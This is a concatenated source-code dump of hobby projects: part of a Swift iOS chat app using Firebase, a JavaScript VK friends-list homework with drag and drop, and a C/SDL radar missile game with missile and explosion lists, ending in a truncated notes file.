passwordTextField.heightAnchor.constraint(equalTo: inputsContainerView.heightAnchor, multiplier: 1/3) passTextFieldHeightAnchor?.isActive = true } func setupLabelsConstraints(){ askLabel.leftAnchor.constraint(equalTo: view.leftAnchor, constant: 20).isActive = true awayLabel.bottomAnchor.constraint(equalTo: studentTeacherSegmentedControl.topAnchor, constant: -20).isActive = true awayLabel.rightAnchor.constraint(equalTo: view.rightAnchor, constant: -20).isActive = true askLabel.bottomAnchor.constraint(equalTo: studentTeacherSegmentedControl.topAnchor, constant: -70).isActive = true } func setupRegisterButtonView () { loginRegisterButton.centerXAnchor.constraint(equalTo: view.centerXAnchor).isActive = true loginRegisterButton.centerYAnchor.constraint(equalTo: inputsContainerView.bottomAnchor, constant: 20).isActive = true loginRegisterButton.widthAnchor.constraint(equalTo: inputsContainerView.widthAnchor).isActive = true loginRegisterButton.heightAnchor.constraint(equalToConstant: 30).isActive = true } override var preferredStatusBarStyle: UIStatusBarStyle { return .lightContent; } // MARK : textfield delegate methods override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { self.view.endEditing(true) } func textFieldShouldReturn(_ textField: UITextField) -> Bool { textField.resignFirstResponder() return true } } extension UIColor { convenience init(r :CGFloat , g:CGFloat, b: CGFloat) { self.init (red: r/255 , green: g/255, blue: b/255, alpha:1 ) } } <file_sep>// // ChatViewController.swift // shyStudent // // Created by <NAME> on 2017-08-21. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit import Firebase import FirebaseDatabase enum Section: Int { case createNewChannelSection = 0 case currentChannelsSection } class ChatViewController: UIViewController,UITableViewDataSource,UITableViewDelegate,UITextFieldDelegate{ @IBOutlet weak var tableView: UITableView! var isStudent = false private lazy var channelRef: DatabaseReference = Database.database().reference().child("channels") private var channelRefHandle: DatabaseHandle? // MARK: Properties var senderDisplayName: String? var newChannelTextField: UITextField? private var channels: [Channel] = [] // MARK: View Lifecycle override func viewDidLoad() { super.viewDidLoad() title = "CLASS" observeChannels() } // MARK: textfield delegate deinit { if let refHandle = channelRefHandle { channelRef.removeObserver(withHandle: refHandle) } } override func viewDidAppear(_ animated: Bool) { super.viewDidAppear(animated) } override func viewWillAppear(_ animated: Bool) { navigationController?.setNavigationBarHidden(false, animated: false) self.automaticallyAdjustsScrollViewInsets = false } // MARK: tableView DataSource func numberOfSections(in tableView: UITableView) -> Int { return 2 } func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case Section.createNewChannelSection.rawValue: return isStudent ? 0 : 1 case Section.currentChannelsSection.rawValue: return channels.count default: return 0 } } func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let reuseIdentifier = (indexPath as NSIndexPath).section == Section.createNewChannelSection.rawValue ? "NewChannel" : "ExistingChannel" let cell = tableView.dequeueReusableCell(withIdentifier: reuseIdentifier, for: indexPath) if (indexPath as NSIndexPath).section == Section.createNewChannelSection.rawValue{ if let createNewChannelCell = cell as? CreateChannelCell { newChannelTextField = createNewChannelCell.newChannelNameField } } else if (indexPath as NSIndexPath).section == Section.currentChannelsSection.rawValue{ cell.textLabel?.text = channels[(indexPath as NSIndexPath).row].name } return cell } // MAKR: tableview delegate func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { if indexPath.section == Section.currentChannelsSection.rawValue{ let channel = channels[(indexPath as NSIndexPath).row] self.performSegue(withIdentifier: "ShowChannel", sender: channel) } } func tableView(_ tableView: UITableView, commit editingStyle: UITableViewCellEditingStyle, forRowAt indexPath: IndexPath) { if editingStyle == UITableViewCellEditingStyle.delete { let key = channels[(indexPath as NSIndexPath).row].id print(key) channelRef.child(key).removeValue { (error, ref) in if error != nil { print("error yo") } } channels.remove(at: indexPath.row) tableView.deleteRows(at: [indexPath as IndexPath], with: UITableViewRowAnimation.automatic) tableView.reloadData() } } // MAKR: Navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { super.prepare(for: segue, sender: sender) if let channel = sender as? Channel { if let detailVC = segue.destination as? DetailViewController{ detailVC.senderDisplayName = senderDisplayName detailVC.channel = channel detailVC.channelRef = channelRef.child(channel.id) detailVC.title = channel.name } } } // MARK: firebase methods private func observeChannels(){ channelRefHandle = channelRef.observe(.childAdded, with: { (snapshot) -> Void in let channelData = snapshot.value as! Dictionary<String, AnyObject> let id = snapshot.key if let name = channelData["name"] as! String!, name.characters.count > 0 { self.channels.append(Channel(id: id, name: name)) self.tableView.reloadData() } else { print("Error! Could not decode channel data") } }) channelRefHandle = channelRef.observe(.childRemoved, with: { (snapshot) -> Void in let channelData = snapshot.value as! Dictionary<String, AnyObject> let id = snapshot.key for var (index, channel) in self.channels.enumerated() { if channel.id == id { self.channels.remove(at: index) self.tableView.reloadData(); } } }) } // MAKR: action @IBAction func createChannel(_ sender: UIButton) { if let name = newChannelTextField?.text { let newChannelRef = channelRef.childByAutoId() let channelItem = ["name": name] newChannelRef.setValue(channelItem) newChannelTextField?.text = "" } } } extension Array where Element: Equatable { mutating func remove(object: Element) { if let index = index(of: object) { remove(at: index) } } }
8b57020e7fddfe878f44e1a1f96e2b1ecbb74a20
[ "Swift" ]
4
Swift
kimchipopstar/shyStudents
a6a20e1d03c3883233667caedfc2572e5e3263fc
f0e03b141fb6179886afeb09966c78678648f342
refs/heads/master
<repo_name>aka-sKOTina/api-VK-Friend<file_sep>/README.md # api-VK-Friend Домашняя работа по JS на курсе от LoftSchool vanilla JS <file_sep>/script.js function log(l) { console.log(l) }; new Promise(function (resolve) { if (document.readyState === "complete") { resolve(); } else { window.onload = resolve; } }) .then(function() { return new Promise(function(resolve, reject) { VK.init({ apiId: 5379338 }); VK.Auth.login(function(response) { if (response.session) { resolve(response) } else { reject(alert("не удалось авторизоваться")) } }, 2); }); }) .then(function () { return new Promise(function (resolve, reject) { VK.api("friends.get", {'fields': 'photo'}, function (response) { var res = response.response; for (var key in res) { var img = document.createElement("img"); // cоздаем тег img var href = res[key].photo; // присваиваем ссылку на фото var li = document.createElement("li"); // создаем тег li li.setAttribute("id", res[key].uid); // добавляем каждому эл-ту li id, который = id друга img.setAttribute("src", href); // img присваивам изображение img.setAttribute("draggable", true) li.appendChild(img); // вставляем в li наш img со ссылкой li.innerHTML += "<span class='friendName'>" + res[key].first_name + " " + res[key].last_name + "</span>" + " <span class='addFriend'>+</span>"// в ли добавляем имя и фамилию friendList.appendChild(li); // вставляем все в первый ul } var allLi = document.querySelectorAll("li"); // находим все li resolve(allLi); }); }); }) .then(function (allLi) { var retObj = JSON.parse(localStorage.getItem("object")); // возвращаем локальное хранилище if(retObj) { for (var i = 0; i < retObj.length; i++) { var a = document.getElementById(retObj[i]) log(a); someFriend.appendChild(a); a.children[2].classList.add("removeFriend"); a.children[2].classList.remove("addFriend"); a.children[2].innerHTML = "&chi;"; } } var targRemove; var rightFriendLi; // здесь будут все li из правой колонки friendList.addEventListener("click", function(e){ if(e.target.classList.contains('addFriend')) { someFriend.appendChild(e.target.parentNode); e.target.classList.add("removeFriend"); e.target.classList.remove("addFriend"); e.target.innerHTML = "&chi;"; } targRemove = document.querySelector(".removeFriend"); // переменная объявленна в глобальной видимости // после каждого события клик, в ней появляются новые данные rightFriendLi = document.querySelectorAll(".someFriend li"); // при добавление друзей в правую колонку // помещаем в нашу переменную список этих друзей }); someFriend.addEventListener("click", function(e){ // нашел баг: если удалять самого верхнего из списка, то можно удалить только // одного человека, после этого событие не работает if(e.target.classList.contains('removeFriend')) { friendList.appendChild(e.target.parentNode); e.target.classList.remove("removeFriend"); e.target.innerHTML = "+"; } rightFriendLi = document.querySelectorAll(".someFriend li"); // если удалили друга, обновим // информацию о наших друзьях из правой колонки }); var data; friendList.addEventListener ("dragstart", function(e) { // e.dataTransfer.effectAllowed="move"; data = e.target.parentNode; e.dataTransfer.setDragImage(e.target, 25, 25); }); someFriend.addEventListener("dragover", function(e) { e.preventDefault(); }); someFriend.addEventListener("drop", function(e) { e.preventDefault(); someFriend.appendChild(data); data.children[2].classList.add("removeFriend"); data.children[2].classList.remove("addFriend"); data.children[2].innerHTML = "&chi;"; data = null; }); someFriend.addEventListener ("dragstart", function(e) { e.dataTransfer.effectAllowed="move"; data = e.target.parentNode; e.dataTransfer.setDragImage(e.target, 25, 25); }); friendList.addEventListener("dragover", function(e) { e.preventDefault(); }); friendList.addEventListener("drop", function(e) { e.preventDefault(); friendList.appendChild(data); data.children[2].classList.add("addFriend"); // меняем на нужный класс спан data.children[2].classList.remove("removeFriend"); // удаляем не нужный класс спану data.children[2].innerHTML = "+"; data = null; }); searchAll.addEventListener("input", function() { var temp = searchAll.value.trim(); // значение из инпута for (var i = 0; i < friendList.children.length; i++) { // цикл для поиска по индексу if(friendList.children[i].innerHTML.indexOf(temp) !== -1){ friendList.children[i].classList.remove("not-visible"); // выводим тех друзей, // которые соответствую поиску, удаляя класс с display: none; } else { friendList.children[i].classList.add("not-visible"); } }; }); searchSome.addEventListener("input", function() { var temp = searchSome.value.trim(); // значение из инпута for (var i = 0; i < someFriend.children.length; i++) { // цикл для поиска по индексу if(someFriend.children[i].innerHTML.indexOf(temp) !== -1){ someFriend.children[i].classList.remove("not-visible"); // выводим тех друзей, // которые соответствую поиску, удаляя класс с display: none; } else { someFriend.children[i].classList.add("not-visible"); } }; }); save.addEventListener("click", function () { var saveList = []; for (var i = 0; i < someFriend.children.length; i++) { saveList.push(someFriend.children[i].id) } var sObj = JSON.stringify(saveList); localStorage.setItem("object", sObj); log(localStorage) }); })
7aadf2b9ca4c0ef45669951e4197fbcbaef31646
[ "Markdown", "JavaScript" ]
2
Markdown
aka-sKOTina/api-VK-Friend
d98c00e566a260acca68da8c6ad43390f5143ae0
31c8d4485e5efa05d184687f5b3b9abbb8645ffd
refs/heads/master
<repo_name>joao-coimbra/login-system<file_sep>/painel.php <?php session_start(); include('verifica_login.php'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Painel</title> </head> <body> </body> </html> <h2>Olá, <?php echo $_SESSION['usuario']; ?></h2> <h2><a href="logout.php">Sair</a></h2><file_sep>/conexao.php <?php define('HOST', '127.0.0.1'); define('USER', 'root'); define('PASS', ''); define('DB', 'login'); $conexao = mysqli_connect(HOST, USER, PASS, DB) or die ('Não foi possível conectar ao Banco de Dados');<file_sep>/index.php <?php session_start(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link rel="shortcut icon" href="src/assets/ico/favicon.svg" type="image/x-icon"> <link rel="stylesheet" href="src/css/global.css"> <link rel="stylesheet" href="src/css/style.css"> </head> <body> <section class="form"> <img src="src/assets/ico/user.svg" alt="login"> <form action="login.php" method="post"> <label id="email"> <input name="email" type="email" placeholder="Email"> </label> <label id="password"> <input name="<PASSWORD>" type="<PASSWORD>" placeholder="<PASSWORD>"> </label> <?php if(isset($_SESSION['nao_preenchido'])): ?> <div class="error" style=" display: flex; align-items: center; justify-items: center; text-align: center; color: rgba(255, 255, 255, 0.6); "> <p>Preencha todos os campos</p> </div> <?php endif; unset($_SESSION['nao_preenchido']); ?> <?php if(isset($_SESSION['nao_autenticado'])): ?> <div class="error" style=" display: flex; align-items: center; justify-items: center; text-align: center; color: rgba(255, 255, 255, 0.6); "> <p>Usuário ou senha inválidos.</p> </div> <?php endif; unset($_SESSION['nao_autenticado']); ?> <button type="submit">Log In</button> </form> <a href="#">forgot your password?</a> </section> <script src="src/js/script.js"></script> </body> </html>
0062621dd91fc1487fdd9d1cd69b19b423973618
[ "PHP" ]
3
PHP
joao-coimbra/login-system
8711006eacc344931300781b34fa273ef578412b
b4b0ba8d6ba7b2b3e1f11152d2472e4797886df8
refs/heads/master
<file_sep>/* File: HUD.h Author: <NAME> <EMAIL> Description: Functions and variables related to drawing the HUD Date: 2016/07/29 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #ifndef HUD_H #define HUD_H #include "SDL.h" #include "Color.h" #include "Platform.h" extern SDL_Point g_border_points[]; extern struct color g_border_color; extern const int gc_padding; extern SDL_Point g_mouse_rect_points[]; /* Draw HUD */ void draw_hud(); /* Initialise the HUD */ void init_hud(); /* Draw the screen border */ void draw_border(); /* Draw the radar beam line on screen */ void draw_radar_beam(); /* Draw mouse Pointer */ void draw_mouse_pointer(); /* Update the mouse pointer positions */ void update_mouse_pointer(); #endif <file_sep>#ifndef EXPLOSION_H #define EXPLOSION_H #include "Bool.h" struct Explosion { float x; float y; float max_radius; float current_radius; long time_to_live; long spawn_time; int firing_id; BOOL alive; }; #endif<file_sep>/* File: Window.c Author: <NAME> <EMAIL> Description: Functions and variables relating to the game window and rendering to it. Date: 2016/07/27 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "Window.h" #include "Game.h" #include "SDL_mixer.h" #include <stdio.h> #include <math.h> SDL_Window* g_window = NULL; SDL_GLContext* g_gl_context = NULL; int gc_win_width = 800; int gc_win_height = 600; long g_frames = 0; char g_title_text[] = "Radar v0.1.1 FPS: [000]"; BOOL g_fullscreen = FALSE; void clear_screen() { glClear(GL_COLOR_BUFFER_BIT); } void show_screen() { SDL_GL_SwapWindow(g_window); } int initialise_window(const struct Game_setting* set) { gc_win_width = set->width; gc_win_height = set->height; if (SDL_Init(SDL_INIT_EVERYTHING) != 0) { printf("Failed to initialise SDL!\nError: %s\n", SDL_GetError()); return 1; } if (set->fullscreen == TRUE) { g_window = SDL_CreateWindow(g_title_text, SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, gc_win_width, gc_win_height, SDL_WINDOW_SHOWN|SDL_WINDOW_FULLSCREEN|SDL_WINDOW_OPENGL); if (g_window != NULL) SDL_GetWindowSize(g_window, &gc_win_width, &gc_win_height); } else { g_window = SDL_CreateWindow(g_title_text, SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, gc_win_width, gc_win_height, SDL_WINDOW_SHOWN|SDL_WINDOW_OPENGL); } if (g_window == NULL) { printf("Failed to create SDL Window!\nError: %s\n", SDL_GetError()); return 2; } if (init_opengl() != 0) { printf("Failed to initialise openGL\n"); return 5; } /* g_renderer = SDL_CreateRenderer(g_window, -1, SDL_RENDERER_ACCELERATED| SDL_RENDERER_TARGETTEXTURE|SDL_RENDERER_PRESENTVSYNC); if (g_renderer == NULL) { printf("Failed to create SDL Renderer!\nError: %s\n", SDL_GetError()); return 3; } */ if (SDL_AudioInit("directsound") == -1) { printf("More fuckery\n"); return 7; } if (Mix_OpenAudio(22050, MIX_DEFAULT_FORMAT, 2, 4096) == -1) { printf("Failed to initialise SDL_Mixer!\n"); printf("SDL_Mixer error: %s", Mix_GetError()); return 6; } return 0; } void print_fps(int fps) { int hundreds, tens; if (fps > 999) { fps = 999; } else { hundreds = fps / 100; fps -= hundreds * 100; tens = fps / 10; fps -= tens * 10; g_title_text[19] = '0' + hundreds; g_title_text[20] = '0' + tens; g_title_text[21] = '0' + fps; SDL_SetWindowTitle(g_window, g_title_text); } } int init_opengl() { GLenum error; g_gl_context = SDL_GL_CreateContext(g_window); if (g_gl_context == NULL) { printf("Failed to create openGL context!\nError: %s\n", SDL_GetError()); return 1; } //Enable vysnc if (SDL_GL_SetSwapInterval(1) != 0) { printf("WARNING: Could not enable vsync in openGL.\n"); } error = GL_NO_ERROR; /* Init projection matrix */ glMatrixMode(GL_PROJECTION); glLoadIdentity(); /******* IMPORTANT !!!!!!! ************/ /* Convert coord systems to our normal system with 0, 0 in top left */ glOrtho( 0.0, gc_win_width, gc_win_height, 0.0, 1.0, -1.0 ); /* Check for error */ error = glGetError(); if (error != GL_NO_ERROR) { printf("Error initialising projection matrix!\n"); printf("Error: %s\n", gluErrorString(error)); return 1; } /* Initialise Model view */ glMatrixMode(GL_MODELVIEW); glLoadIdentity(); /* Check for error */ error = glGetError(); if (error != GL_NO_ERROR) { printf("Error initialising model view matrix!\n"); printf("Error: %s\n", gluErrorString(error)); return 1; } glClearColor(0.0f, 0.0f, 0.0f, 1.0f); //Set clear color /* Check for error */ error = glGetError(); if (error != GL_NO_ERROR) { printf("Error setting clear color for openGL!\n"); printf("Error: %s\n", gluErrorString(error)); return 1; } return 0; } <file_sep>/* File: Game.c Author: <NAME> <EMAIL> Description: Gameplay related functions for the radar-turn-based game. Date: 2016/07/28 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "Game.h" #include "HUD.h" #include "Bool.h" #include "SDL_opengl.h" #include "Draw.h" #include "Missile.h" #include "Explosion.h" #include "Explosion_List.h" #include "Missile_List.h" #include <math.h> long g_previous_time = 0; long g_current_time = 0; long g_start_time = 0; int g_radar_beam_y = 0; const float gc_radar_beam_speed = 0.15f; const int gc_radar_beam_delay = 500; int g_scan_start_time = 0; int g_last_scan_end = 0; BOOL g_scanning = FALSE; float missile_speed = 0.1f; Mix_Chunk* launch_sound = NULL; Mix_Chunk* bomb_sound = NULL; Mix_Music* backtrack = NULL; void draw_all() { float r, g, b; glClear(GL_COLOR_BUFFER_BIT); r = (float) g_border_color.r / 255; g = (float) g_border_color.g / 255; b = (float) g_border_color.b / 255; glColor3f(r, g, b); //draw_line(0, 0, 20, 20); draw_hud(); draw_missiles(); draw_explosions(); } void update() { g_frames++; update_radar_beam(); update_missiles(); update_explosions(); } void init_timers() { g_start_time = SDL_GetTicks(); g_current_time = g_start_time; g_scan_start_time = g_start_time; g_previous_time = 0; } void update_timers() { g_previous_time = g_current_time; g_current_time = SDL_GetTicks(); } void update_radar_beam() { if (g_scanning == TRUE) { g_radar_beam_y = (g_current_time - g_scan_start_time) * gc_radar_beam_speed; if (g_radar_beam_y > gc_win_height - gc_padding) { g_scanning = FALSE; g_radar_beam_y = gc_padding; g_last_scan_end = SDL_GetTicks(); } } else { //if (g_current_time - g_last_scan_end > gc_radar_beam_delay) //g_scanning = TRUE; g_scan_start_time = SDL_GetTicks(); } } void update_missile(struct Missile* missile) { //printf("updating a missile\n"); //work out location float next_x, next_y; next_x = cosf(missile->angle) * missile_speed * (g_current_time - g_previous_time); next_y = sinf(missile->angle) * missile_speed * (g_current_time - g_previous_time); //update location missile->x += next_x; missile->y += next_y; //printf("moved missile to: %f, %f\n", next_x, next_y); //check if exploded //create explosion and delete missile if (missile->detination_time < g_current_time) { missile->alive = FALSE; add_explosion(missile->x, missile->y, missile->explosion_radius, 350, 0); if (Mix_PlayChannel(-1, bomb_sound, 0) == -1) { printf("failed to play bomb sound!\n"); } } } void update_missiles() { //printf("Updating missiles\n"); struct Missile_Node* current_missile = get_missile_head(); while (current_missile != NULL) { update_missile(current_missile->missile); current_missile = current_missile->next; } cull_missiles(); } void update_explosion(struct Explosion* exp) { //update the time to live? //adjust radius based upon time exp->time_to_live -= (g_current_time - g_previous_time); exp->current_radius = exp->max_radius * ( 1.0f - (exp->time_to_live / 500.0)); if (exp->time_to_live < 0) { exp->alive = FALSE; } } void update_explosions() { struct Explosion_Node* current_explosion = get_explosion_head(); while (current_explosion != NULL) { update_explosion(current_explosion->explosion); current_explosion = current_explosion->next; } cull_explosions(); } void cull_explosions() { struct Explosion_Node* current_explosion = get_explosion_head(); struct Explosion_Node* next_explosion = NULL; while (current_explosion != NULL) { next_explosion = current_explosion->next; if (current_explosion->explosion->alive == FALSE) { remove_explosion(current_explosion->explosion); } current_explosion = next_explosion; } } void fire_missile(int id, float target_x, float target_y, float origin_x, float origin_y) { float angle = atan((double)((target_y - origin_y) / (target_x - origin_x))); //angle is wrong... if (target_x < origin_x && target_y < origin_y) { angle = atan((double)((origin_y - target_y) / (origin_x - target_x))); angle -= 3.14; } float dist = sqrtf((target_x - origin_x) * (target_x - origin_x) + (target_y - origin_y)*(target_y - origin_y)); float time = dist / missile_speed; if (Mix_PlayChannel(-1, launch_sound, 0) == -1) { printf("Failed to play missile sound\n"); } add_missile(origin_x, origin_y, angle, g_current_time, g_current_time + time, 60, id); } void unfire_missile() { struct Missile_Node* node = get_missile_tail(); if (node != NULL) remove_missile(node->missile); } void cull_missiles() { struct Missile_Node* current_missile = get_missile_head(); struct Missile_Node* next_missile = NULL; while (current_missile != NULL) { next_missile = current_missile->next; if (current_missile->missile->alive == FALSE) { remove_missile(current_missile->missile); } current_missile = next_missile; } } void load_audio_files() { launch_sound = Mix_LoadWAV("media/missile_launch2.WAV"); bomb_sound = Mix_LoadWAV("media/bomb_sound.WAV"); backtrack = Mix_LoadMUS("media/redbone.WAV"); if (launch_sound == NULL || bomb_sound == NULL || backtrack == NULL) { printf("Failed to load launch sound\n"); printf("Error: %s", Mix_GetError()); return; } } void clean_up() { Mix_FreeChunk(launch_sound); Mix_FreeChunk(bomb_sound); }<file_sep> #ifndef MISSILE_H #define MISSILE_H #include "Bool.h" struct Missile { float start_x; float start_y; float angle; float x; float y; long launch_time; long detination_time; float explosion_radius; int firing_id; //who fired the missile? 0, for player, 1 for computer BOOL alive; }; #endif<file_sep>#include "Missile_List.h" #include "Game.h" #include <stdlib.h> struct Missile_Node* g_missile_head = NULL; struct Missile_Node* g_missile_tail = NULL; struct Missile_Node* create_missile_node() { struct Missile_Node* node = (struct Missile_Node*) malloc(sizeof(struct Missile_Node)); if (node == NULL) { printf("Error creating new missile, ran out of memory?\n"); } return node; } int add_missile(float sx, float sy, float a, long ltime, long dtime, long eradius, int id) { struct Missile_Node* node = create_missile_node(); struct Missile* mis = (struct Missile*) malloc(sizeof(struct Missile)); if (mis == NULL) return -1; if (node == NULL) return -1; node->missile = mis; node->missile->start_x = sx; node->missile->start_y = sy; node->missile->angle = a; node->missile->x = sx; node->missile->y = sy; node->missile->launch_time = ltime; node->missile->detination_time = dtime; node->missile->explosion_radius = eradius; node->missile->firing_id = id; node->next = NULL; node->missile->alive = TRUE; if (g_missile_head == NULL) { g_missile_head = node; g_missile_tail = node; } else { g_missile_tail->next = node; g_missile_tail = node; } } int remove_missile(struct Missile* mis) { printf("removing missile\n"); if (mis == NULL) return -1; struct Missile_Node* node = get_missile_head(); struct Missile_Node* previous_node = NULL; while (node != NULL) { if (node->next != NULL) { if (node->missile == mis) { //not at tail, so we need point previous node to next node. if (previous_node == NULL) { //we're at the head g_missile_head = node->next; free(node->missile); free(node); return 0; } else { //not at tail nor at head previous_node->next = node->next; free(node->missile); free(node); return 0; } } //else if (node->next->missile == mis) //{ // struct Missile_Node* temp = node->next; // /* The node to be removed is the tail*/ // if (temp->next == NULL) // { // //we need to update the tail too // g_missile_tail = node; // } // node->next = temp->next; // free(temp); // return 0; //} } else { if (node->missile == mis) { if (g_missile_head == g_missile_tail) { printf("Deleting only missile\n"); free(node->missile); free(node); g_missile_head = NULL; g_missile_tail = NULL; } else { printf("Removing tail\n"); free(node->missile); free(node); node = NULL; g_missile_tail = previous_node; previous_node->next = NULL; } return 0; } } previous_node = node; node = node->next; } return -1; } struct Missile_Node* get_missile_head() { return g_missile_head; } struct Missile_Node* get_missile_tail() { return g_missile_tail; }<file_sep>#include "Explosion_List.h" #include "Game.h" #include <stdlib.h> struct Explosion_Node* g_explosion_head = NULL; struct Explosion_Node* g_explosion_tail = NULL; struct Explosion_Node* create_explosion_node() { struct Explosion_Node* node = (struct Explosion_Node*) malloc(sizeof(struct Explosion_Node)); if (node == NULL) { printf("Error creating new explosion, ran out of memory?\n"); } return node; } int add_explosion(float x, float y, float max_r, long life_span, int id) { struct Explosion_Node* node = create_explosion_node(); struct Explosion* mis = (struct Explosion*) malloc(sizeof(struct Explosion)); if (mis == NULL) return -1; if (node == NULL) return -1; node->explosion = mis; node->explosion->x = x; node->explosion->y = y; node->explosion->max_radius = max_r; node->explosion->current_radius = 0.0f; node->explosion->time_to_live = life_span; node->explosion->spawn_time = g_current_time; node->explosion->firing_id = id; node->explosion->alive = TRUE; node->next = NULL; if (g_explosion_head == NULL) { g_explosion_head = node; g_explosion_tail = node; } else { g_explosion_tail->next = node; g_explosion_tail = node; } } struct Explosion_Node* get_explosion_head() { return g_explosion_head; } struct Explosion_Node* get_explosion_tail() { return g_explosion_tail; } int remove_explosion(struct Explosion* exp) { if (exp == NULL) return -1; struct Explosion_Node* node = get_explosion_head(); struct Explosion_Node* previous_node = NULL; while (node != NULL) { if (node->next != NULL) { if (node->explosion == exp) { //not at tail, so we need point previous node to next node. if (previous_node == NULL) { //we're at the head g_explosion_head = node->next; free(node->explosion); free(node); node = NULL; return 0; } else { //not at tail nor at head previous_node->next = node->next; free(node->explosion); free(node); node = NULL; return 0; } } //if (node->next->explosion == exp) //{ // struct Explosion_Node* temp = node->next; // /* The node to be removed is the tail*/ // if (temp->next == NULL) // { // //we need to update the tail too // g_explosion_tail = node; // } // node->next = temp->next; // free(temp); // //printf("Removed explosion\n"); // return 0; //} } else //we are at the tail { if (node->explosion == exp) { if (g_explosion_head == g_explosion_tail) { free(node->explosion); free(node); node = NULL; g_explosion_head = NULL; g_explosion_tail = NULL; } else { free(node->explosion); free(node); node = NULL; g_explosion_tail = previous_node; previous_node->next = NULL; } return 0; } } previous_node = node; node = node->next; } return -1; }<file_sep>Notes.txt --------- Radar is a game where you control a submarine but you only see a radar screen. Goal: ----- Get a working prototype of the radar screen and how it could work with a game world. To Do: ------ -Make radar into a circle. -Make it so radar speed is defined by how long it should take to reach the bottom of the screen. -Work 